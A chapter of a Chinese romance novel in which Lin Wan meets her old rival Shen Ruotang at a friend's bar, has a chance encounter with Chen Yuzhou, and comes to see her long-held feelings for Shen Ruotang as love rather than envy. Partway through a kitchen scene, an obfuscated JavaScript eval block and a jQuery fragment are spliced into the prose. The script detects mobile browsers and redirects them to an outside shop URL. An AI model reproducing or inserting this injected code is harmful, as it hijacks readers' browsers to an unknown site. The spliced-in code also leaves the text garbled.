林晚收到沈若棠的消息时，正在办公室里写季度报告。
屏幕上密密麻麻的数字像一片深灰色的海。
手机震了一下，又震了一下。直到第三下震动，她才伸出手，点开屏幕。
「林晚，今天下午有空吗？想跟你聊聊。」
「我知道你可能不想见我。但有些话，我想当面跟你说。」
「何知薇的酒吧。三点。不来也没关系。」
林晚盯着屏幕看了几秒。
她拿起手机，打了几个字：「好。三点。」
消息发出去，显示“已读”。沈若棠没有回。
林晚把手机放回桌上，继续看报告。数字还在那里，但她发现自己已经读不进去了。
她为什么要跟沈若棠见面？她们不是情敌吗？林晚心里有困惑，但更多的，是一种渴望。
她想起何知薇说过的话：“你盯着沈若棠看的时候，眼神跟你盯着陈屿洲的时候一模一样。”
那时候她没有追问，而是把那句话压在心底。
但今天，她说不清为什么，抑制不住地想起这句话。
林晚站起来，拿起外套，走出了办公室。
***
何知薇的酒吧在中国城的一条小巷子里，门面很小，夹在一家按摩店和一家中药铺之间。
没有招牌，只有门上贴着一张手写的纸条——“Open”。纸条已经泛黄了，边角卷起来，像是贴了好几年。
林晚推门进去的时候，酒吧里几乎没有人。下午三点，不是喝酒的时间。
灯光是暗红色的，角落里有几张皮沙发，黑色的，有些地方已经裂开了，露出里面黄色的海绵。
何知薇站在吧台后面，穿着一件黑色的背心，紫色的头发扎成一个低马尾，正在擦一个威士忌杯。
“沈若棠约我来的。”林晚说。
何知薇把杯子放下，靠在吧台上，双手交叉在胸前。
“她到了。在二楼。”她歪了歪头，朝着楼梯的方向指了指，“你确定你要上去？”
“为什么不？”
“没什么。她在上面等你。”
林晚走向楼梯。楼梯很窄，木质的，踩上去会发出吱呀的声响。
墙上贴满了照片——乐队、酒瓶、一些模糊的人脸，还有一张何知薇年轻时的照片，染着紫色的头发，对着镜头比中指。
二楼比一楼更小，只有两张桌子和一个吧台。
窗户开在屋顶上，三角形的，像教堂的彩色玻璃，但没有颜色，只有灰白色的天光透进来。
沈若棠坐在靠窗的位置，面前放着一杯没有动过的酒。
她今天穿了一件深灰色的毛衣，头发散在肩上，没有化妆。不是那种“素颜也很美”的没有化妆，是真的没有化妆——眉毛淡了，嘴唇没有颜色，眼睛下面有浅浅的黑眼圈，看起来像一个普通人。
她看见林晚，站起来，又坐下了。
“你来了。”沈若棠说。
“你说想跟我聊聊。聊什么？”林晚开门见山。
沈若棠的手指在杯沿上慢慢划着。
“许达跟你说过吗？上次在周姨家吃饭，我吻了他。”
林晚的表情没有变化。
“他说了。”
“他怎么说的？”
“他说他没有回应，也没有推开。”
“他这么跟你说的？”
“对。”
“你不生气？”
“我生气。但不是对你。”
沈若棠看着她，不是挑衅，不是得意，更像是被人狠狠敲了一棍后，满脸发懵。
“你知道周姨为什么要安排那顿饭吗？”
“知道。她想让你们在一起。不只是她。长老会也希望你跟许达联姻。”
林晚靠在椅背上，若无其事地盯着沈若棠。
“你还有什么要说的？”
沈若棠端起酒杯，喝了一口。酒是威士忌，纯的，没有加冰。
她喝的时候眉头皱了一下，像是在喝药。
“我不是来挑拨你们，我只是想让你知道，许达最后的选择，可能不是你。他现在喜欢你，是真的。但龙堂的压力比他想象的大。周姨会一直安排，长老会会一直施压。他扛得住一次，两次，三次。十次呢？二十次呢？”
“所以你是说，他终究会妥协？”
“我是说，他没有你想的那么强大。”
林晚的颧骨有些泛红，声音带着哆嗦。在林晚面前说这一大通，她也分不清里面哪句是真心的，哪句是挑拨的。
“沈若棠，你今天约我来，到底想说什么？如果你只是想告诉我许达会跟你在一起，那你不用说了。他不会。如果他会，我会走。但在那之前，我不会替你做他会妥协的假设。”
沈若棠低下头，看着杯子里的威士忌，酒液在杯壁上留下一道一道的酒痕。
“林晚，你不了解我在沈家的处境。我是独女，但我妈死了。继母掌管了沈家的财政大权，我花每一分钱，都要跟她报账。你觉得等我爸死了，沈家是谁的？我连棠衣坊的股份都没有，只有一个没有用的姓。”
“长老会要我嫁给许达，不是因为喜欢我，是因为他们需要一个沈家的人嫁到陈家，谁都可以。如果不是我，继母会把我堂妹嫁过去。反正那也是一个姓沈的。”
沈若棠抬起头，眼眶红了。
“林晚，我不是在跟你争许达。我是在救我自己。”
林晚别过脸看向窗外。
“你跟我说这些，是想让我同情你？”
“不是。”
“那你想让我做什么？把许达让给你？”
沈若棠低下头。
“都不是。我只是想找个人说说话。”
“无论你想干什么，许达都不会跟你联姻的。他不喜欢被人安排，我也安排不了他。”
“他可以拒绝一次，但拒绝不了一辈子。他不是他爸，他没有那个手腕。”
“拒绝不需要手腕。他只需要说‘不’。”
沈若棠的嘴角动了一下，不知道是笑还是沮丧。
“你知道高中时我为什么说你是变态吗？我其实没想要陈屿洲对你动手，我只是想试探一下，他会怎么讨好我。没想到他会用那种方式……”
林晚听够了这些解释，她不耐烦地挥了挥手，示意沈若棠不要继续讲了。
“林晚，十年的时间，咱们变化都挺大的。过去我无视你，现在我挺嫉妒你的。”
“嫉妒我什么？”
“嫉妒你有好工作，自己挣钱。你不需要靠任何人，站在那里，就是你自己。”
“你也可以。你又不是没念过大学，你可以自己创业的。”林晚说。
沈若棠摇了摇头。
“我不能，我没有你那么聪明，我在大学里光顾着谈恋爱了，什么都没学会。”
林晚想了想。
“我看你是害怕。你害怕选错了，就没有退路了。但你不选，也不会有退路。”
沈若棠愣了一下，眼泪终于忍不住流下来。
***
林晚从二楼下来的时候，何知薇还站在吧台后面。
她换了一个杯子在擦，透明的玻璃杯在她手里转来转去，被擦得锃亮。
她看林晚坐到面前，就从吧台下面拿出一个杯子，倒了一杯水。
林晚端起水杯喝了一口。水是凉的，带着一点柠檬的味道。
“她跟你说了什么？”何知薇问。
“说了很多。她在沈家的处境，许达的事，总之就是她的日子不好过。”
“你信她？”
林晚放下水杯。
“信。她没必要骗我。”
何知薇双手撑在吧台上，看着林晚。
“那你现在怎么想？”
“没怎么想。她跟我说这些，是她的事。许达跟我之间的事，是我的事。”
“如果许达真的跟她联姻了呢？”
林晚的手指停了一下。
“许达不会。”
何知薇转身从架子上拿下一瓶酒，给自己倒了一杯。
“林晚，你高中时盯着沈若棠看，你自己知道吗？”
林晚回顾了一下，很确定地回答；“我不知道。”
“不，我认为你知道。”何知薇喝了一口酒，“但你不敢承认，因为你以为，自己是嫉妒她，而不是喜欢她。”
林晚没有说话。
何知薇放下酒杯，靠在吧台上，双手交叉在胸前。
“你记得我跟你说过吗？你盯着沈若棠看的时候，眼神跟你盯着陈屿洲的时候一模一样。”
“你想说什么？”
“因为你喜欢她。”
空气凝固了。
酒吧里音乐还在放，那首老歌换了，换成了另一首，更慢的，像一个在叹气的人。
“不可能。”林晚说。
“为什么不可能？”
林晚张了张嘴，她发现自己没有理由反驳何知薇的话，也没有理由证明何知薇是错的。
她只是觉得——不可能。因为她从来没有想过这种可能性。
但如果何知薇说的是真的呢？如果那不是“想成为她”，而是“想靠近她”呢？
“你看沈若棠的时候，你心里是什么感觉？”何知薇问。
林晚闭上眼睛，想起沈若棠站在走廊尽头，校服裙摆被风轻轻扬起。
“我不知道。”林晚说。
“你不知道，还是你不敢知道？”
林晚睁开眼睛，迎上何知薇平静的目光。
“你什么时候变得这么懂感情了？”
“我开酒吧的。每天听醉鬼讲故事。听多了，就懂了。”
“我走了。办公室还有一堆文件要处理。”林晚有些慌乱地站起来，想要离开这个空间。
“林晚。”何知薇叫住她，“不管答案是什么，都别怕。”
林晚没有回答，几乎是逃了出去。
***
林晚跑出酒吧的时候，芝加哥十月的风迎面扑来，冷得她缩了缩脖子。
她站在门口，低头看手机，想叫一辆Uber。
“林晚？”
她抬起头，陈屿洲站在三步之外，手里拿着一杯咖啡，看起来像是路过的。
“你怎么在这里？”林晚问。
“碰巧路过。”陈屿洲说，语气很自然，“你呢？”
“见个朋友。”
陈屿洲点了点头，没有追问。他看了看手里的咖啡，又看了看林晚。
“你喝咖啡吗？我买了一杯，还没喝。”
“不用了。我叫了车。”
“车到了还有几分钟。喝一口，暖和。”
他把咖啡递过来，林晚犹豫了一秒，接过了。
咖啡是热的，她喝了一口，美式，不加糖。她喜欢的那种。
“你怎么知道我喜欢美式不加糖？”她问。
“你在朋友圈发过一张咖啡的照片，美式，不加糖，我就记住了。”
“你翻我朋友圈？”
“只是刚好刷到。”
林晚没有接话。她把咖啡递回去。
“谢谢。车到了。”
一辆黑色SUV停在巷口，双闪灯在昏暗中一明一暗。
林晚拉开车门，坐进去。车门关上的那一刻，她看见陈屿洲还站在原处，手里端着那杯咖啡。
车开动了，他的影子在后视镜里越来越小，最后变成一个模糊的黑点，消失在巷口的灯光里。
林晚靠在座椅上，闭上眼睛。
她在想陈屿洲为什么会出现在那里，还有，为什么碰巧是不加糖的美式咖啡。
她想起沈若棠说过的话：“许达最后的选择，可能不是你。”
她想起何知薇说过的话：“你有没有想过，你高中时看沈若棠，不是因为嫉妒？你喜欢她却不敢承认。”
这些念头在她脑子里转来转去，像几根缠在一起的线，找不到头。
***
林晚回到The Reed的时候，许达正在厨房里做饭。
他穿着一件灰色的卫衣，袖子卷到小臂，正在切西红柿。灶台上的锅已经烧热了，油在锅里滋滋地响。
“回来了？”他头也没回。
“嗯。”林晚脱掉外套，挂在玄关，走过去从后面抱住他，“做什么？”
“西红柿鸡蛋面。你昨天说想吃的。”
林晚把脸贴在他后背上。卫衣的布料粗糙，蹭着她的脸颊，有一点痒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508620|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“许达，你今天有没有什么事要跟我说？”
许达切西红柿的手停了一下。
“什么事？”
“比如，有没有人给你打电话？周姨？舅公？长老会？”
许达放下刀，转过身，看着她。
“周姨打了。说下周五的酒会，问我去不去。我说不去。”
“她说什么？”
“她说知道了。”
“就这些？”
“就这些。”
林晚发现他眼角的细纹比以前深了一些。
“许达，如果有一天你扛不住了，你会告诉我吗？”
“会。”
林晚点了点头，松开了手，走到餐桌前坐下来。
许达把西红柿倒进锅里，滋啦一声，白雾涌上来。
“你今天怎么了？”他问。
“没怎么。去见了沈若棠。”
“她约你？”
“对。约在何知薇的酒吧。”
“她跟你说什么了？”
林晚靠在椅背上，看着许达的背影。
他的肩膀很宽，卫衣的布料绷在肩胛骨上，随着他炒菜的动作微微起伏。
“她说你在周姨家没有推开她，是因为你在向长老会妥协。她说你终究会跟她联姻。”
许达关了火，转过身。
“你信她？”
“我说你不接受被人安排，无论最终结果如何，都是你自己的选择。”
许达走过来，在她对面坐下来。
他的手放在桌上，手心朝上，像是在等她把她的手放进来。
“林晚，我不会跟她联姻。你认识我的时候，我是修电脑的许达。等龙堂的事情处理完了，我还是许达。”
“你想离开龙堂？”
“我想跟你在一起。”
许达的眼睛很亮，林晚在他眼眸里看见自己的影子。
“你什么时候想好的？”
“刚才。”
林晚把手放进他的手心里。他的手是热的，掌心有薄薄的茧，是修电脑磨出来的。
许达握紧了她的手。
***
晚上许达睡着了之后，林晚一个人坐在客厅里。
窗帘拉着，客厅很暗。
月光从缝隙里漏进来，在地板上画了一条细长的银线。
她坐在沙发上，腿盘着，手里端着半杯已经凉了的茶。
她在想何知薇的话。
“你有没有想过，你高中时看沈若棠，不是因为嫉妒？是因为你喜欢她。”
她闭上眼睛。
她想起自己站在走廊的另一头，盯着沈若棠看，移不开目光。
她以为是嫉妒。因为沈若棠拥有她没有的一切——美貌、家世、所有人的目光。她以为那是“想成为她”的羡慕。
但如果那不是“想成为她”呢？如果那是“想靠近她”呢？
她想起另一个画面。
体育课，女生们在操场上跑步。
沈若棠跑在她前面，马尾辫在脑后晃来晃去，阳光照在她脖子上，汗珠亮晶晶的。
林晚看着那个马尾辫，觉得很好看。
她想起高中时的教室。
沈若棠坐在前排，她坐在后排。
她上课的时候会不自觉地看沈若棠的后脑勺。不是一直看，是看一眼，过一会儿又看一眼。
她以为盯着看是她想坐在前排。但后来考了第一名，坐到了前排，她还是会在上课的时候看沈若棠——从侧面看，从斜后方看，从任何能看见她的角度。
她想起何知薇说过的话：“你盯着沈若棠看的时候，眼神跟你盯着陈屿洲的时候一模一样。”
她盯着陈屿洲看，是因为陈屿洲是“应该喜欢”的人——好看，受欢迎，在篮球场上光芒万丈。
她以为喜欢陈屿洲，就是在告诉全世界：我也是有品位的，我也是正常人。
但她盯着沈若棠看的时候，不是“应该喜欢”，而是“忍不住看”。不是想拥有她拥有的东西，是想拥有她。
林晚忽然觉得冷。
如果何知薇说的是真的呢？
她花了十年时间，以为自己恨沈若棠——恨她高高在上，恨她随口一句话就毁掉了自己的高中生活。
但如果她恨的不是沈若棠，而是自己不敢承认的感情呢？
不是嫉妒，是爱慕。
林晚把脸埋进手心里。
荒唐极了。
她不知道该怎么面对这件事。
她不知道该怎么面对沈若棠，不知道该怎么面对许达，不知道该怎么面对自己。
她坐了很久。
久到茶彻底凉了，久到窗外的月光从地板上移到了墙上，久到许达在卧室里翻了个身，含混地叫了一声她的名字。
她站起来，走进卧室，躺回许达身边。
许达的手臂环过来，搭在她腰上。他的呼吸是均匀的，睡得很沉。
***
第二天下午，林晚又去了何知薇的酒吧。
这次不是沈若棠约的，是她自己去的。
酒吧里还是没有人。下午两点，阳光从门口照进来，在地上投下一块明亮的长方形。
何知薇坐在吧台后面，面前放着一杯酒和一本书。书是翻了一半的，扣在桌面上，她没在看。
“又来了？”何知薇抬起头。
“嗯。”林晚坐在吧台前的高脚椅上，“再给我一杯水。加柠檬。”
何知薇倒了一杯水，加了两片柠檬，推过来。
“想通了？”
林晚喝了一口水，放下杯子。
“你昨天说的那些话，我想了一晚上。你是对的。”
何知薇看着她，没有惊讶，没有得意，只是点了点头。
“林晚，你喜欢沈若棠，不代表你要跟她在一起。你有许达，你爱许达。这两种感情可以同时存在。你不必选一个，扔一个。”
“但这样对许达不公平。”
“公不公平，不是你一个人说了算的。许达未必想知道真相。”
林晚沉默了。
何知薇端起自己的酒杯，喝了一口：“林晚，你不是高中生了。你不用把所有事情都想清楚再行动。你可以一边想，一边活。”